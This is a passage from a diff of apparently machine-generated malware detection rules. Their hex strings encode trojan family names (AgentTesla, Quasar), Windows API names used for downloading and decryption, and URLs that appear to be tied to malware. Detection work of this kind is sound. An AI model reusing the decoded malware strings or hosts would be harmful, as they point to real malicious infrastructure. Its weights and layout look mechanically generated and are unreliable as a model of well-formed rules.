00 61 00 67 00 65 00 2f 00 47 00 36 00 61 00 67 00 41 00 78 00 6f 00 33 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 } //108 + $a_65_7 = {76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 f4 00 00 05 00 05 00 05 00 21 23 50 57 53 3a 4d 53 49 4c } //28532 condition: - ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*11868+(#a_00_3 & 1)*34+(#a_69_4 & 1)*25345+(#a_00_6 & 1)*99+(#a_35_7 & 1)*18262) >=4 + ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*11868+(#a_00_3 & 1)*34+(#a_69_4 & 1)*25345+(#a_00_6 & 1)*108+(#a_65_7 & 1)*28532) >=4 } -rule _InfrastructureShared_15734{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 01 00 3d 01 68 00 69 00 72 00 6f 00 73 00 61 00 76 00 76 00 61 00 2d 00 63 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 } //21539 - $a_00_1 = {65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 04 00 84 01 63 6d 56 6d 5a 58 4a 79 5a 58 49 39 5a 6e 4a 6c 5a 53 31 6b 62 33 64 75 62 47 39 68 5a 43 5a 6e 59 57 52 66 63 32 39 31 63 6d 4e 6c 50 54 45 6d 5a 32 4e 73 61 57 51 39 52 55 46 4a 59 55 6c 52 62 32 4a 44 61 45 31 4a 4e 33 46 36 56 47 38 35 58 30 31 70 64 } //97 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97) >=5 - -} -rule _InfrastructureShared_15735{ +rule _InfrastructureShared_16770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -183398,7 +195696,7 @@ rule _InfrastructureShared_15735{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_3 & 1)*108+(#a_6f_4 & 1)*29545) >=5 } -rule _InfrastructureShared_15736{ +rule _InfrastructureShared_16771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -183410,24 +195708,36 @@ rule _InfrastructureShared_15736{ ((#a_53_0 & 1)*20515+(#a_73_2 & 1)*30019+(#a_00_4 & 1)*119) >=5 } -rule _InfrastructureShared_15737{ +rule _InfrastructureShared_16772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4e 75 76 65 72 69 64 61 70 00 01 00 0d 01 73 65 74 70 20 34 20 66 61 69 6c 65 64 01 00 26 01 54 68 65 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 2e 01 00 1c 01 54 43 50 } //18467 $a_72_1 = {20 53 63 61 6e 6e 65 72 20 2d 2d 20 25 64 20 48 6f 73 74 73 01 00 0c 01 5c 44 55 4d 50 2d 25 75 2e 64 6d 70 01 00 15 01 25 73 20 4c 6f 67 69 6e 20 73 75 63 63 65 73 73 66 75 6c 6c 79 01 00 18 01 50 61 73 73 77 6f 72 64 20 63 68 61 6e 67 65 61 62 6c 65 20 20 20 25 73 01 00 19 01 26 20 55 46 5f 44 4f 4e 54 5f 52 45 51 55 49 52 45 5f } //20512 - $a_41_2 = {54 48 01 00 14 01 4e 65 74 52 65 6d 6f 74 65 54 4f 44 3a 20 30 78 25 30 38 58 00 00 78 f4 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 } //21072 - $a_35_3 = {00 01 00 2f 00 06 18 5b 8d 9c 00 00 01 0b 16 0c 2b 1a 00 07 08 18 5b 02 08 18 6f 95 00 00 0a 1f 10 28 96 00 00 0a 9c 00 08 18 58 0c 08 06 fe 04 0d 09 2d de 01 00 1a 81 01 54 4c 4e 67 75 79 65 6e 56 61 6e 4c 79 4e 32 2e 50 72 } //19028 - $a_72_4 = {69 65 73 01 00 08 81 01 47 65 74 54 79 70 65 73 01 00 05 81 01 53 70 6c 69 74 01 00 2e 81 01 54 4c 4e 67 75 79 65 6e 56 61 6e 4c 79 4e 32 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 26 81 01 54 4c 4e 67 75 79 65 6e 56 61 6e 4c 79 4e 32 2e 66 72 6d } //28783 - $a_68_5 = {54 69 65 74 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f4 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4b 31 32 33 21 4d 54 42 00 01 00 07 81 01 64 75 } //26966 - $a_73_6 = {01 00 15 81 01 63 68 65 6d 69 73 65 6e 73 20 75 6e 70 72 65 73 65 6e 74 65 64 01 00 1f 81 01 70 72 61 65 73 79 73 74 6f 6c 69 63 20 73 69 64 69 6e 67 73 20 61 6e 69 6d 61 74 6f 72 65 72 01 00 33 81 01 52 76 65 72 74 6f 67 74 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 45 6a 61 6d 5c 55 6e 69 6e 73 74 } //27507 - $a_5c_7 = {6c 61 73 74 61 6e 63 65 01 00 26 81 01 70 6c 61 6e 6c 67 6e 69 6e 67 73 70 72 6f 63 65 73 5c 66 6f 72 6e 65 6d 6d 65 72 65 5c 63 72 75 73 61 64 69 6e 67 01 00 18 81 01 28 28 5c 63 69 74 61 64 65 6c 6c 65 74 5c 62 72 69 73 6b 79 2e 4c 69 6d 00 00 78 f4 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //27745 + $a_41_2 = {54 48 01 00 14 01 4e 65 74 52 65 6d 6f 74 65 54 4f 44 3a 20 30 78 25 30 38 58 00 00 78 f4 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 4e 51 21 4d 54 42 } //21072 + $a_00_4 = {0a } //883 + $a_11_5 = {90 01 01 01 00 0a 13 12 08 28 90 01 01 00 00 0a 2d } //4371 + $a_12_6 = {90 01 01 01 00 0a 16 13 1d dd 72 03 00 00 11 0b 2c } //2064 + $a_1f_7 = {8d 33 00 00 01 } //4463 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*20512+(#a_41_2 & 1)*21072+(#a_35_3 & 1)*19028+(#a_72_4 & 1)*28783+(#a_68_5 & 1)*26966+(#a_73_6 & 1)*27507+(#a_5c_7 & 1)*27745) >=5 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*20512+(#a_41_2 & 1)*21072+(#a_00_4 & 1)*883+(#a_11_5 & 1)*4371+(#a_12_6 & 1)*2064+(#a_1f_7 & 1)*4463) >=5 } -rule _InfrastructureShared_15738{ +rule _InfrastructureShared_16773{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 4e 51 21 4d 54 42 00 03 00 74 03 73 03 01 00 0a 13 11 11 11 6f 90 01 01 01 00 0a 13 12 08 28 90 01 01 00 00 0a 2d 10 08 11 12 28 90 01 01 01 00 0a 16 13 1d dd 72 03 00 00 } //16675 + $a_6f_1 = {05 1f 09 8d 33 00 00 01 13 22 11 22 16 72 de 03 00 70 a2 11 22 17 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a a2 11 22 18 72 f2 03 00 } //2833 + $a_22_2 = {11 12 a2 11 22 1a 72 f6 03 00 70 a2 11 22 90 00 01 } //-23952 + $a_52_3 = {6d } //8448 m + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*2833+(#a_22_2 & 1)*-23952+(#a_52_3 & 1)*8448) >=6 + +} +rule _InfrastructureShared_16774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -183441,7 +195751,7 @@ rule _InfrastructureShared_15738{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6656+(#a_74_2 & 1)*26964+(#a_73_3 & 1)*29541+(#a_5c_5 & 1)*10241) >=6 } -rule _InfrastructureShared_15739{ +rule _InfrastructureShared_16775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -183456,7 +195766,7 @@ rule _InfrastructureShared_15739{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29472+(#a_61_2 & 1)*30066+(#a_69_3 & 1)*28524+(#a_72_4 & 1)*-32490+(#a_66_5 & 1)*30837) >=6 } -rule _InfrastructureShared_15740{ +rule _InfrastructureShared_16776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -183470,7 +195780,7 @@ rule _InfrastructureShared_15740{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26979+(#a_64_2 & 1)*25970+(#a_6e_3 & 1)*25391+(#a_69_5 & 1)*385) >=6 } -rule _InfrastructureShared_15741{ +rule _InfrastructureShared_16777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183485,7 +195795,7 @@ rule _InfrastructureShared_15741{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11888+(#a_6e_2 & 1)*8293+(#a_2e_4 & 1)*656+(#a_b0_5 & 1)*5120+(#a_ff_6 & 1)*-1) >=7 } -rule _InfrastructureShared_15742{ +rule _InfrastructureShared_16778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183498,7 +195808,7 @@ rule _InfrastructureShared_15742{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_00_3 & 1)*116+(#a_00_6 & 1)*111) >=7 } -rule _InfrastructureShared_15743{ +rule _InfrastructureShared_16779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183514,7 +195824,7 @@ rule _InfrastructureShared_15743{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*17965+(#a_61_2 & 1)*385+(#a_31_3 & 1)*12631+(#a_00_4 & 1)*578+(#a_49_5 & 1)*-32756+(#a_4d_6 & 1)*27503) >=7 } -rule _InfrastructureShared_15744{ +rule _InfrastructureShared_16780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183529,23 +195839,40 @@ rule _InfrastructureShared_15744{ ((#a_4c_0 & 1)*21539+(#a_37_1 & 1)*13877+(#a_53_2 & 1)*13925+(#a_00_4 & 1)*8+(#a_6f_5 & 1)*21562+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_15745{ +rule _InfrastructureShared_16781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 36 35 21 4d 54 42 00 01 00 25 81 01 73 6b 34 31 55 61 32 41 46 75 35 50 41 4e 4d 4b 69 74 2e 61 62 69 4a 50 6d 66 42 66 54 4c 36 69 4c 66 6d 61 57 01 00 24 81 01 } //18467 $a_37_1 = {33 34 30 2d 36 30 62 30 2d 34 36 63 34 2d 39 63 39 31 2d 62 36 39 32 63 64 34 62 63 35 65 61 01 00 10 81 01 43 6f 6e 74 72 61 63 74 41 72 67 75 6d 65 6e 74 01 00 0b 81 01 44 65 66 6f 72 6d 61 74 74 65 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f } //14390 - $a_63_2 = {01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 f4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4a 42 21 4d 54 42 00 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d } //27234 - $a_61_3 = {30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 06 80 01 48 75 6e 74 65 72 01 00 17 80 01 4b 69 6c 6c 65 72 42 65 65 73 47 61 6d 69 6e 67 20 43 6c 69 65 6e 74 01 00 1c 80 01 4b 69 6c 6c 65 72 42 65 65 73 47 61 6d 69 6e 67 5f 43 6c 69 65 6e 74 2e 42 65 65 73 01 00 1f 80 01 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 69 } //29249 - $a_72_4 = {65 65 73 67 61 6d 69 6e 67 2e 63 6f 6d 01 00 06 00 00 50 72 6f 54 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 00 00 78 f4 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //27756 - $a_45_5 = {4d 54 42 00 01 00 10 80 01 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 61 70 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f } //22607 - $a_62_7 = {67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 09 80 01 46 69 6c 6c 52 65 63 74 61 01 00 0a 80 01 41 73 73 6f 63 69 61 74 65 73 01 00 0e 80 01 43 6f 6c 6f 72 43 6f 6e 76 65 72 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 05 80 01 6f 72 70 68 69 01 00 } //17409 + $a_63_2 = {01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 f4 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 01 00 10 81 01 54 65 } //27234 + $a_6e_3 = {74 65 50 72 6f 63 65 73 73 01 00 19 81 01 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 52 74 6c 50 63 54 6f 46 69 6c 65 48 65 61 64 65 72 01 00 18 81 01 68 6f 73 74 66 78 72 5f 6d 61 69 6e 5f 73 74 61 72 } //28018 + $a_69_4 = {66 6f 01 00 2a 81 01 64 6f 65 73 20 6e 6f 74 20 63 6f 6e 74 61 69 6e 20 74 68 65 20 65 78 70 65 63 74 65 64 20 65 6e 74 72 79 20 70 6f 69 6e 74 2e 01 00 0e 81 01 43 56 45 2d 32 30 32 33 2d 32 37 35 33 32 00 00 78 f4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 } //30068 + $a_4d_5 = {42 00 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 } //16970 + $a_41_6 = {74 72 69 62 75 74 65 01 00 06 80 01 48 75 6e 74 65 72 01 00 17 80 01 4b 69 6c 6c 65 72 42 65 65 73 47 61 6d 69 6e 67 20 43 6c 69 65 6e 74 01 00 1c 80 01 4b 69 6c 6c 65 72 42 65 65 73 47 61 6d 69 6e 67 5f 43 6c 69 65 6e 74 2e 42 65 65 73 01 00 1f 80 01 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 69 6c 6c 65 72 62 65 65 73 67 61 6d 69 6e 67 2e 63 6f 6d 01 00 06 00 00 50 } //24946 + $a_00_7 = {01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 00 00 78 f4 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 45 21 4d } //28530 condition: - ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*14390+(#a_63_2 & 1)*27234+(#a_61_3 & 1)*29249+(#a_72_4 & 1)*27756+(#a_45_5 & 1)*22607+(#a_62_7 & 1)*17409) >=8 + ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*14390+(#a_63_2 & 1)*27234+(#a_6e_3 & 1)*28018+(#a_69_4 & 1)*30068+(#a_4d_5 & 1)*16970+(#a_41_6 & 1)*24946+(#a_00_7 & 1)*28530) >=8 } -rule _InfrastructureShared_15746{ +rule _InfrastructureShared_16782{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 01 00 10 81 01 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 01 00 19 81 01 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 } //18467 + $a_65_1 = {65 6e 74 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 52 74 6c 50 63 54 6f 46 69 6c 65 48 65 61 64 65 72 01 00 18 81 01 68 6f 73 74 66 78 72 5f 6d 61 69 6e 5f 73 74 61 72 74 75 70 69 6e 66 6f 01 00 2a 81 01 64 6f 65 73 20 6e 6f 74 20 63 6f 6e 74 61 69 6e 20 74 68 65 20 65 78 70 65 63 74 65 64 20 65 6e 74 } //20581 + $a_70_2 = {69 6e 74 2e 01 00 0e 81 01 43 56 45 2d 32 30 32 33 2d 32 37 35 33 32 00 00 78 f4 00 00 09 00 09 } //31090 + $a_52_4 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4a 42 21 4d 54 42 00 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 06 80 01 48 75 6e 74 } //21320 + $a_00_5 = {17 } //29285 + $a_69_6 = {6c 65 72 42 65 65 73 47 61 6d 69 6e 67 20 43 6c 69 65 6e 74 01 00 1c 80 01 4b 69 6c 6c 65 72 42 65 65 73 47 61 6d 69 6e 67 5f 43 6c 69 65 6e 74 2e 42 65 65 73 01 00 1f 80 01 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 69 6c 6c 65 72 } //384 + $a_73_7 = {61 6d 69 6e 67 2e 63 6f 6d 01 00 06 00 00 50 72 6f 54 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 00 00 78 f4 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 45 } //25954 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*20581+(#a_70_2 & 1)*31090+(#a_52_4 & 1)*21320+(#a_00_5 & 1)*29285+(#a_69_6 & 1)*384+(#a_73_7 & 1)*25954) >=8 + +} +rule _InfrastructureShared_16783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -183563,7 +195890,7 @@ rule _InfrastructureShared_15746{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29806+(#a_54_2 & 1)*29264+(#a_65_3 & 1)*384+(#a_76_4 & 1)*28483+(#a_64_5 & 1)*25972+(#a_6e_6 & 1)*24936+(#a_01_7 & 1)*28271+(#a_01_8 & 1)*28420) >=9 } -rule _InfrastructureShared_15747{ +rule _InfrastructureShared_16784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -183582,7 +195909,7 @@ rule _InfrastructureShared_15747{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25959+(#a_70_2 & 1)*28417+(#a_65_3 & 1)*28257+(#a_43_4 & 1)*-32497+(#a_6c_5 & 1)*28270+(#a_00_6 & 1)*-11772+(#a_75_7 & 1)*384+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_15748{ +rule _InfrastructureShared_16785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -183602,7 +195929,7 @@ rule _InfrastructureShared_15748{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*4608+(#a_65_2 & 1)*25964+(#a_6f_3 & 1)*23064+(#a_90_4 & 1)*2577+(#a_03_5 & 1)*-28558+(#a_01_6 & 1)*-29417+(#a_30_7 & 1)*21294+(#a_06_8 & 1)*261+(#a_00_9 & 1)*5693+(#a_65_10 & 1)*24442) >=11 } -rule _InfrastructureShared_15749{ +rule _InfrastructureShared_16786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -183613,7 +195940,7 @@ rule _InfrastructureShared_15749{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28420) >=12 } -rule _InfrastructureShared_15750{ +rule _InfrastructureShared_16787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 16 00 21 " @@ -183643,7 +195970,7 @@ rule _InfrastructureShared_15750{ ((#a_54_0 & 1)*18467+(#a_3d_2 & 1)*1280+(#a_00_3 & 1)*0+(#a_80_4 & 1)*15617+(#a_00_5 & 1)*0+(#a_80_6 & 1)*15617+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_f5_18 & 1)*0+(#a_30_19 & 1)*9284+(#a_00_20 & 1)*26660+(#a_04_21 & 1)*-28547) >=16 } -rule _InfrastructureShared_15751{ +rule _InfrastructureShared_16788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -183653,7 +195980,7 @@ rule _InfrastructureShared_15751{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15752{ +rule _InfrastructureShared_16789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -183664,7 +195991,7 @@ rule _InfrastructureShared_15752{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27022) >=2 } -rule _InfrastructureShared_15753{ +rule _InfrastructureShared_16790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -183675,7 +196002,7 @@ rule _InfrastructureShared_15753{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841) >=2 } -rule _InfrastructureShared_15754{ +rule _InfrastructureShared_16791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -183687,7 +196014,7 @@ rule _InfrastructureShared_15754{ ((#a_46_0 & 1)*21283+(#a_78_1 & 1)*11876+(#a_00_2 & 1)*105) >=2 } -rule _InfrastructureShared_15755{ +rule _InfrastructureShared_16792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183698,7 +196025,7 @@ rule _InfrastructureShared_15755{ ((#a_46_0 & 1)*16675+(#a_17_2 & 1)*4359) >=3 } -rule _InfrastructureShared_15756{ +rule _InfrastructureShared_16793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183710,7 +196037,7 @@ rule _InfrastructureShared_15756{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_15757{ +rule _InfrastructureShared_16794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183720,7 +196047,7 @@ rule _InfrastructureShared_15757{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15758{ +rule _InfrastructureShared_16795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183730,7 +196057,7 @@ rule _InfrastructureShared_15758{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15759{ +rule _InfrastructureShared_16796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183742,7 +196069,7 @@ rule _InfrastructureShared_15759{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*0+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_15760{ +rule _InfrastructureShared_16797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183754,7 +196081,7 @@ rule _InfrastructureShared_15760{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-21517+(#a_44_2 & 1)*25910) >=3 } -rule _InfrastructureShared_15761{ +rule _InfrastructureShared_16798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -183766,7 +196093,7 @@ rule _InfrastructureShared_15761{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_00_3 & 1)*77) >=3 } -rule _InfrastructureShared_15762{ +rule _InfrastructureShared_16799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -183781,7 +196108,7 @@ rule _InfrastructureShared_15762{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*25956+(#a_01_2 & 1)*25701+(#a_43_3 & 1)*15917+(#a_31_4 & 1)*12613+(#a_65_5 & 1)*14930) >=3 } -rule _InfrastructureShared_15763{ +rule _InfrastructureShared_16800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -183795,7 +196122,7 @@ rule _InfrastructureShared_15763{ ((#a_77_0 & 1)*19491+(#a_02_1 & 1)*25712+(#a_00_2 & 1)*117+(#a_01_3 & 1)*3840+(#a_00_5 & 1)*105) >=3 } -rule _InfrastructureShared_15764{ +rule _InfrastructureShared_16801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -183811,7 +196138,7 @@ rule _InfrastructureShared_15764{ ((#a_6f_0 & 1)*21539+(#a_89_1 & 1)*257+(#a_0c_2 & 1)*400+(#a_62_3 & 1)*-25600+(#a_4e_4 & 1)*294+(#a_00_5 & 1)*65+(#a_00_6 & 1)*77) >=3 } -rule _InfrastructureShared_15765{ +rule _InfrastructureShared_16802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -183823,7 +196150,7 @@ rule _InfrastructureShared_15765{ ((#a_46_0 & 1)*16675+(#a_a2_1 & 1)*-23848+(#a_00_3 & 1)*65) >=4 } -rule _InfrastructureShared_15766{ +rule _InfrastructureShared_16803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -183835,21 +196162,32 @@ rule _InfrastructureShared_15766{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*67+(#a_00_3 & 1)*113) >=4 } -rule _InfrastructureShared_15767{ +rule _InfrastructureShared_16804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_5f_0 = {54 5f 63 72 79 3a 43 68 